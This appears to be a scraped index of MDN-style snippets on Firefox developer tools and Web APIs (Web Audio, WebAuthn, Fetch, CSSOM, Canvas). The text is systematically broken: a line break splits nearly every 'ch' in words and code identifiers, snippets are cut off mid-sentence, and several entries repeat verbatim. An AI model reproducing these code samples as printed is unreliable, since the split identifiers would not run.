check "record call stacks" (before firefox 49 this was labeled "record allocation stacks"): ...
Throttling - Firefox Developer Tools
throttling the toolbar includes a throttling dropdown, whi
ch allows you to throttle your network speed to emulate various different network speed conditions.
... simply
choose an option from the menu, and it will persist across reloads.
... the
characteristics emulated are: download speed upload speed minimum latency the table below lists the numbers associated with ea
ch network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions.
Edit CSS filters - Firefox Developer Tools
css filter properties in the rules view have a circular gray and white swat
ch next to them: clicking the swat
ch opens a filter editor: the filter editor lists ea
ch of the effects performed by that filter on a separate line.
... you can edit these lines, remove them individually, or drag the effects to
change the order in whi
ch they are applied.
...the
change will be apparent as soon as youpress enter.
How to - Firefox Developer Tools
open the performance tools to open the performance tools: press shift + f5 select "performance" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on os x) select "performance" from tools button, in the toolbar, if you have one: record a profile to start a new recording, press the stopwat
ch icon in the recordings pane.
... save a profile to save a profile, click the link labeled "save" in the recordings pane: load a profile to load a profile, click "import..." and
choose the file: clear all loaded profiles to clear all loaded profiles, click "clear".
... select a tool to swit
ch between the waterfall, call tree, and flame
chart tools, use the buttons in the toolbar: configure markers displayed to control whi
ch markers are shown in the waterfall, use the button in the toolbar: zoom in to zoom into a slice of the recording, select that slice in the recording overview: ...
Performance - Firefox Developer Tools
you get four sub-tools to examine aspects of the profile in more detail: the waterfall shows the different operations the browser was performing, su
ch as executing layout, javascript, repaints, and garbage collection the call tree shows the javascript functions in whi
ch the browser spent most of its time the flame
chart shows the javascript call stack over the course of the recording the allocations view shows the heap allocations made by your code over the course of the recording.
... this view only appears if you
checked "record allocations" in the performance tool settings.
... flame
chart see whi
ch javascript functions are executing, and when, over the course of the recording.
Debugging Firefox Desktop - Firefox Developer Tools
this guide explains how you can use the firefox developer tools to debug a different instance of desktop firefox running on the same ma
chine.
... enable remote debugging first, you'll need to ensure that both debugger and debuggee have the "enable browser
chrome and add-on debugging toolboxes" and "enable remote debugging" settings
checked in the developer tools settings.
...if you want to debug a firefox instance from an external ma
chine, you can
change this option, but only do this on a trusted network or set a strong firewall rule to lock down whi
ch ma
chines can access it.
Shader Editor - Firefox Developer Tools
with webgl you provide 2 programs called shaders whi
ch are called at the appropriate stages of the opengl rendering pipeline: a vertex shader, whi
ch computes the clip space coordinates of ea
ch vertex to be drawn, and a fragment shader, whi
ch determines the color for ea
ch pixel to be drawn.
...to enable it, open the toolbox settings and
check "shader editor" in the "default firefox developer tools" item.
... at first you'll just see a blank window with a button asking you to reload the page: to get started, load a page whi
ch creates a webgl context and loads a program into it.
Web console keyboard shortcuts - Firefox Developer Tools
command windows macos linux open the web console ctrl + shift + k cmd + opt + k ctrl + shift + k sear
ch in the message display pane ctrl + f cmd + f ctrl + f open the object inspector pane ctrl + click ctrl + click ctrl + click clear the object inspector pane esc esc esc focus on the command line ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l from firefox 67: cmd + k ctrl + shift + l command line interpreter these shortcuts apply when you're in the command line interpreter.
... the command line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through command history up arrow up arrow up arrow go forward through command history down arrow down arrow down arrow initiate reverse sear
ch through command history/step backwards through mat
ching commands f9 ctrl + r f9 step forward through mat
ching command history (after initiating reverse sear
ch) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the current expressio...
...n enter return enter add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux
choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions page up page up page up page down through autocomplete suggestions page down page down page down scroll to start of autocompl...
AbortSignal.onabort - Web APIs
the onabort read-only property of the fet
chsignal interface is an event handler invoked when an abort event fires, i.e.
... when the fet
ch request(s) the signal is communicating with is/are aborted.
...later on we
check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console.
AnalyserNode.getByteFrequencyData() - Web APIs
ea
ch item in the array represents the decibel value for a specific frequency.
...for any sample whi
ch is silent, the value is -infinity.
...for more examples/information,
check out our voice-
change-o-matic demo (see app.js lines 128–205 for relevant code).
Animation() - Web APIs
although in the future other effects su
ch as sequenceeffects or groupeffects might be possible, the only kind of effect currently available is keyframeeffect.
... this can be null (whi
ch is the default) to indicate that there should be no effect applied.
... timeline optional specifies the timeline with whi
ch to associate the animation, as an object of a type based on the animationtimeline interface.
Animation.finish() - Web APIs
examples the following example shows how to use the finish() method and cat
ch an invalidstate error.
... interfaceelement.addeventlistener("mousedown", function() { try { player.finish(); } cat
ch(e if e instanceof invalidstate) { console.log("finish() called on paused or finished animation."); } cat
ch(e); logmyerrors(e); //pass exception object to error handler } }); the following example finishes all the animations on a single element, regardless of their direction of playback.
... elem.getanimations().forea
ch( function(animation){ return animation.finish(); } ); specifications specification status comment web animationsthe definition of 'finish()' in that specification.
Animation.updatePlaybackRate() - Web APIs
the updateplaybackrate() method of the web animations api's animation interface sets the speed of an animation after first syn
chronizing its playback position.
...in su
ch a case, setting the playbackrate on the animation directly may cause the animation's playback position to jump since its playback position on the main thread may have drifted from the playback position where it is currently running.
... updateplaybackrate() is an asyn
chronous method that sets the speed of an animation after syn
chronizing with its current playback position, ensuring that the resulting
change in speed does not produce a sharp jump.
AnimationEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/animationevent" target="_top"><rect x="116" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="con...
...solas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">animationevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor animationevent() creates an animationevent event with the given parameters.
...for an animationstart event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in whi
ch case the event will be fired with elapsedtime containing (-1 * delay).
AudioBufferSourceNode.buffer - Web APIs
if the buffer property is set to the value null, the node generates a single
channel containing silence (that is, every sample is 0).
... syntax audiobuffersourcenode.buffer = soundbuffer; value an audiobuffer whi
ch contains the data representing the sound whi
ch the node will play.
... var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var
channel = 0;
channel <
channels;
channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.get
channeldata(
channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
AudioBufferSourceNode.loopEnd - Web APIs
syntax audiobuffersourcenode.loopend = endoffsetinseconds; var endoffsetinseconds = audiobuffersourcenode.loopend; value a floating-point number indicating the offset, in seconds, into the audio buffer at whi
ch ea
ch loop will loop return to the beginning of the loop (that is, the current play time gets reset to audiobuffersourcenode.loopstart).
...buttons are provided to play and stop the audio playback, and slider controls are used to
change the playbackrate, loopstart and loopend properties on the fly.
...for example, if you set their values to 20 and 25, respectively, then begin playback, the sound will play normally until it rea
ches the 25 second mark.
AudioConfiguration - Web APIs
channels: the number of
channels used by the audio track.
... examples //create media configuration to be tested const mediaconfig = { type : 'file', // 'record', 'transmission', or 'media-source' audio : { contenttype : "audio/ogg", // valid content type
channels : 2, // audio
channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
... } }; //
check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
AudioContext.createMediaElementSource() - Web APIs
the createmediaelementsource() method of the audiocontext interface is used to create a new mediaelementaudiosourcenode object, given an existing html <audio> or <video> element, the audio from whi
ch can then be played and manipulated.
... for more details about media element audio source nodes,
check out the mediaelementaudiosourcenode reference page.
...when the mouse pointer is moved, the updatepage() function is invoked, whi
ch calculates the current gain as a ratio of mouse y position divided by overall window height.
AudioListener.forwardX - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.forwardY - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.forwardZ - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.positionX - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.positionY - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.positionZ - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.setPosition() - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.speedOfSound - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.upX - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.upY - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioListener.upZ - Web APIs
you might be moving a
character around inside a game world for example, and wanting delivery of audio to
change realistically as your
character moves closer to or further away from a music player su
ch as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., whi
ch set new values for the panner position via the positionpanner() function.
... to see a complete implementation,
check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound
changes!
AudioParam.linearRampToValueAtTime() - Web APIs
the linearramptovalueattime() method of the audioparam interface s
chedules a gradual linear
change in the value of the audioparam.
... the
change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and rea
ches the new value at the time given in the endtime parameter.
... endtime a double representing the exact time (in seconds) after the ramping starts that the
changing of the value will stop.
AudioParam.setValueAtTime() - Web APIs
the setvalueattime() method of the audioparam interface s
chedules an instant
change to the audioparam value at a precise time, as measured against audiocontext.currenttime.
... syntax var audioparam = audioparam.setvalueattime(value, starttime) parameters value a floating point number representing the value the audioparam will
change to at the given time.
... starttime a double representing the time (in seconds) after the audiocontext was first created that the
change in value will happen.
AudioParamMap - Web APIs
the web audio api interface audioparammap represents a set of multiple audio parameters, ea
ch described as a mapping of a domstring identifying the parameter to the audioparam object representing its value.
... properties the audioparammap object is accessed as a map in whi
ch ea
ch parameter is identified by a name string whi
ch is mapped to an audioparam containing the value of that parameter.
... forea
ch() ?
AudioTrackList.length - Web APIs
the read-only audiotracklist property length returns the number of entries in the audiotracklist, ea
ch of whi
ch is an audiotrack representing one audio track in the media element.
...ea
ch track can be accessed by treating the audiotracklist as an array of objects of type audiotrack.
... var videoelem = document.queryselector("video"); var numaudiotracks = 0; if (videoelem.audiotracks) { numaudiotracks = videoelem.audiotracks.length; } note that this sample
checks to be sure htmlmediaelement.audiotracks is defined, to avoid failing on browsers without support for audiotrack.
AudioWorkletProcessor.port - Web APIs
it can be used to communicate between the processor and the audioworkletnode to whi
ch it belongs.
... note: the port at the other end of the
channel is available under the port property of the node.
... examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, whi
ch will output silence and respond to ping requests from its audioworkletnode.
AuthenticatorAssertionResponse - Web APIs
properties authenticatorassertionresponse.clientdatajson secure contextread only the client data for the authentication, su
ch as origin and
challenge.
... authenticatorassertionresponse.authenticatordata secure contextread only an arraybuffer containing information from the authenticator su
ch as the relying party id hash (rpidhash), a signature counter, test of user presence and user verification flags, and any extensions processed by the authenticator.
... examples var options = {
challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // do something specific with the response // send assertion response back to the server // to proceed with the control of the credential }).cat
ch(function (err) ...
AuthenticatorAttestationResponse.attestationObject - Web APIs
the public key that corresponds to the private key that has created the attestation signature is well known; however, there are various well known attestation public key
chains for different ecosystems (for example, android or tpm attestations).
...for now, see the webauthn specification for details on ea
ch format.
... examples var publickey = {
challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the response // (sending it back to the relying party server maybe?) }).cat
ch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
AuthenticatorAttestationResponse - Web APIs
properties authenticatorattestationresponse.clientdatajson secure contextread only client data for the authentication, su
ch as origin and
challenge.
... methods authenticatorattestationresponse.gettransports()secure context returns an array of strings describing whi
ch transport methods (e.g.
... examples var publickey = {
challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response // (sending it back to the relying party server maybe?) }).cat
ch(function (err) { console.error(err); }); specifications specification status comment ...
AuthenticatorResponse - Web APIs
the
child interfaces include information from the browser su
ch as the
challenge origin and either may be returned from publickeycredential.response.
... examples getting an authenticatorassertionresponse var options = {
challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // send assertion response back to the server // to proceed with the control of the credential }).cat
ch(function (err) { console.error(err); }); getting an aut...
...henticatorattestationresponse var publickey = {
challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).cat
ch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorresponse interface' in that specification.
BaseAudioContext.createBufferSource() - Web APIs
the createbuffersource() method of the baseaudiocontext interface is used to create a new audiobuffersourcenode, whi
ch can be used to play audio data contained within an audiobuffer object.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var button = document.queryselector('button'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // stereo var
channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var
channel = 0;
channel <
channels;
channel++) { // t...
...his gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.get
channeldata(
channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
BaseAudioContext.createConstantSource() - Web APIs
the createconstantsource() property of the baseaudiocontext interface creates a constantsourcenode object, whi
ch is an audio source that continuously outputs a monaural (one-
channel) sound signal whose samples all have the same value.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateconstantsource
chrome full support 56edge full support ≤79firefox full support 53ie no support noopera full support 43safari no support nowebview android full support 56
chrome android full support 56firefox android full support 53op...
BaseAudioContext.createConvolver() - Web APIs
the createconvolver() method of the baseaudiocontext interface creates a convolvernode, whi
ch is commonly used to apply reverb effects to your audio.
...the example below uses a short sample of a concert hall crowd, so the reverb effect applied is really deep and e
choey.
... for applied examples/information,
check out our voice-
change-o-matic demo (see app.js for relevant code).
BaseAudioContext.createPeriodicWave() - Web APIs
the createperiodicwave() method of the baseaudiocontext interface is used to create a periodicwave, whi
ch is used to define a periodic waveform that can be used to shape the output of an oscillatornode.
...the first value is the dc offset, whi
ch is the value at whi
ch the oscillator starts.
... a simple way of manually obtaining su
ch coefficients (though not the best) is to use a graphing calculator.
BaseAudioContext.decodeAudioData() - Web APIs
the decodeaudiodata() method of the baseaudiocontext interface is used to asyn
chronously decode audio file data contained in an arraybuffer.
... syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fet
ch() or filereader.
...usually you'll want to put the decoded data into an audiobuffersourcenode, from whi
ch it can be played and manipulated how you want.
BeforeUnloadEvent - Web APIs
w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/beforeunloadevent" target="_top"><rect x="116" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="...
...consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">beforeunloadevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} bubbles no cancelable yes target objects defaultview interface event examples window.addeventlistener("beforeunload", function( event ) { event.returnvalue = "\o/"; }); // is equivalent to window.addeventlistener("beforeunload", function( event ) { event.preventdefault(); }); webkit-derived browsers don't follow the spec for the dialog box.
... window.addeventlistener("beforeunload", function (e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari,
chrome, and other * webkit-derived browsers */ }); specifications specification status comment html living standardthe definition of 'beforeunloadevent' in that specification.
BluetoothAdvertisingData - Web APIs
rssi; readonly attribute map manufacturerdata; readonly attribute map servicedata; }; properties bluetoothadvertisingdata.appearance read only returns one of the values defined by the org.bluetooth.
characteristic.gap.appearance
characteristic.
... bluetoothadvertisingdata.txpower read only returns the transmission power at whi
ch the device is broadcasting, measured in dbm.
... bluetoothadvertisingdata.rssi read only returns the power at whi
ch the device’s packets are being received, measured in dbm.
Body.body - Web APIs
example in our simple stream pump example we fet
ch an image, expose the response's stream using response.body, create a reader using readablestream.getreader(), then enqueue that stream's
chunks into a second, custom readable stream — effectively creating an identical copy of the image.
... const image = document.getelementbyid('target'); // fet
ch the original image fet
ch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) .then(body => { const reader = body.getreader(); return new readablestream({ start(controller) { return pump(); function pump() { return reader.read().then(({ done, value }) => { // when no more data needs to be consumed, close the stream if (done) { controller.close(); return; } // enqueue the next data
chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobj...
...ecturl(blob)) .then(url => console.log(image.src = url)) .cat
ch(err => console.error(err)); specifications specification status comment fet
chthe definition of 'body' in that specification.
Body.bodyUsed - Web APIs
example in our fet
ch request example (run fet
ch request live), we create a new request using the request() constructor, then use it to fet
ch a jpg.
... when the fet
ch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image.
... html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content var myimage = document.queryselector('.my-image'); fet
ch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); specifications specification status comment fet
chthe definition of 'bodyused' i...
Body - Web APIs
the body mixin of the fet
ch api represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.
... examples the example below uses a simple fet
ch call to grab an image and display it in an <img> tag.
... html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fet
ch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fet
chthe definition of 'body' in that specification.
CSS.supports() - Web APIs
the first one allows to test the support of a pair property-value: propertyname a domstring containing the name of the css property to
check.
... value a domstring containing the value of the css property to
check.
... the second syntax takes one parameter mat
ching the condition of @supports: supportcondition a domstring containing the condition to
check.
CSSOMString - Web APIs
when a specification says cssomstring, it depends on the browser vendors to
choose whether to use domstring or usvstring.
... while browser implementations that use utf-8 internally to represent strings in memory can use usvstring when the specification says cssomstring, implementations that already represent strings as 16-bit sequences might
choose to use domstring instead.
... implementation differences browser domstring or usvstring for cssomstring firefox (gecko) usvstring
chrome (blink) usvstring safari (webkit) usvstring edge (edgehtml) - opera (blink) usvstring specifications specification status comment css object model (cssom)the definition of 'cssomstring' in that specification.
CSSPrimitiveValue.setFloatValue() - Web APIs
if the property atta
ched to this value can't accept the specified unit or the float value, the value will be un
changed and a domexception will be raised.
... syntax cssprimitivevalue.setfloatvalue(unittype, floatvalue); parameters unittype an unsigned short representing the code for the unit type, in whi
ch the value should be returned.
... css_in the value is a <length> in in
ches.
CSSRule - Web APIs
constants type constants the cssrule interface specifies integer constants that can be used in conjunction with a cssrule's type property to discern the rule type (and therefore, whi
ch specialized interface it implements).
...cssrule.supports_rule 12 csssupportsrule cssrule.document_rule 13 cssdocumentrule cssrule.font_feature_values_rule 14 cssfontfeaturevaluesrule cssrule.viewport_rule 15 cssviewportrule cssrule.region_style_rule 16 cssregionstylerule cssrule.unknown_rule 0 cssunknownrule cssrule.
charset_rule 2 css
charsetrule (removed in most browsers.) an up-to-date informal list of constants can be found on the csswg wiki.
... working draft obsoleted values
charset_rule and unknown_rule.
CSSRuleList - Web APIs
description ea
ch cssrule can be accessed as rules.item(index), or simply rules[index], where rules is an object implementing the cssrulelist interface (su
ch as cssstylesheet.cssrules), and index is the 0-based index of the rule, in the order as it appears in the style sheet css.
... note that being indirect-modify (
changeable but only having read-methods), rules are not added or removed from the list directly, but instead here, only via its parent stylesheet.
...if however, for some reason the list does need to be modified but has no parent stylesheet (perhaps being a livecopy of a list that does), it cannot just be assigned one (as it has no su
ch property), and neither can it be assigned to one (as stylesheet.cssrules is read-only), but it must unfortunately be inserted into one, rule by rule, and unless combining lists, after any existing list therein is deleted, rule by rule.
CSSStyleDeclaration.setProperty() - Web APIs
if priority can be omitted, javascript has a special simpler syntax for setting a css property on a style declaration object: style.csspropertyname = 'value'; examples in this example we have three buttons, whi
ch can be pressed to dynamically alter our box paragraph's border, background color, and text color to random values (see the live example at the end of this section).
...we then loop through the different rules contained inside the stylesheet, whi
ch are contained in the array found at stylesheet.cssrules; for ea
ch one, we
check whether its cssstylerule.selectortext property is equal to the selector .box p, whi
ch indicates it is the one we want.
...in ea
ch case, this is done with the setproperty() method, for example boxpararule.style.setproperty('border', newborder); html <div class="controls"> <button class="border">border</button> <button class="bgcolor">background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-content: space-around; align-items: center; } div button ...
CSSStyleRule.selectorText - Web APIs
if set to a selector string whi
ch cannot be parsed, a syntaxerror is thrown.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetselectortext
chrome full support 1edge full support 12firefox full support 1ie full support 9opera full support yessafari full support 6webview android full support 4.4
chrome android full support 18firefox android full support 4opera androi...
CSSStyleSheet.addRule() - Web APIs
styleblock a domstring indicating the style block to apply to elements mat
ching the selector.
... index optional an optional index into the stylesheet's cssrulelist at whi
ch to insert the new rule.
... therefore, given existing code su
ch as the following: cssstylesheet.addrule(selector, styles, 0); you can rewrite this to use the more standard insertrule() like this: cssstylesheet.insertrule(`${selector} {${styles}}`, 0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.addrule()' in that specification.
CanvasRenderingContext2D.arcTo() - Web APIs
note that the arc's second control point and the point specified by lineto() are the same, whi
ch produces a totally smooth corner.
...you can play around with range input to see how arc
changes.
...x, p.y + y); } const drawpoints = function (points){ for (let i = 0; i < points.length; i++) { var p = points[i]; labelpoint(p, { x: 0, y: -20 } , i) } } // draw arc const drawarc = function ([p0, p1, p2], r) { ctx.beginpath(); ctx.moveto(p0.x, p0.y); ctx.arcto(p1.x, p1.y, p2.x, p2.y, r); ctx.lineto(p2.x, p2.y); ctx.stroke(); } let t0 = 0; let rr = 0; // the radius that
changes over time let a = 0; // angle let pi2 = math.pi * 2; const loop = function (t) { t0 = t / 1000; a = t0 % pi2; rr = math.abs(math.cos(a) * r); ctx.clearrect(0, 0, canvas.width, canvas.height); drawarc([p1, p2, p3], rr); drawpoints([p1, p2, p3]); requestanimationframe(loop); } loop(0); result specifications specification status comment html livin...
CompositionEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
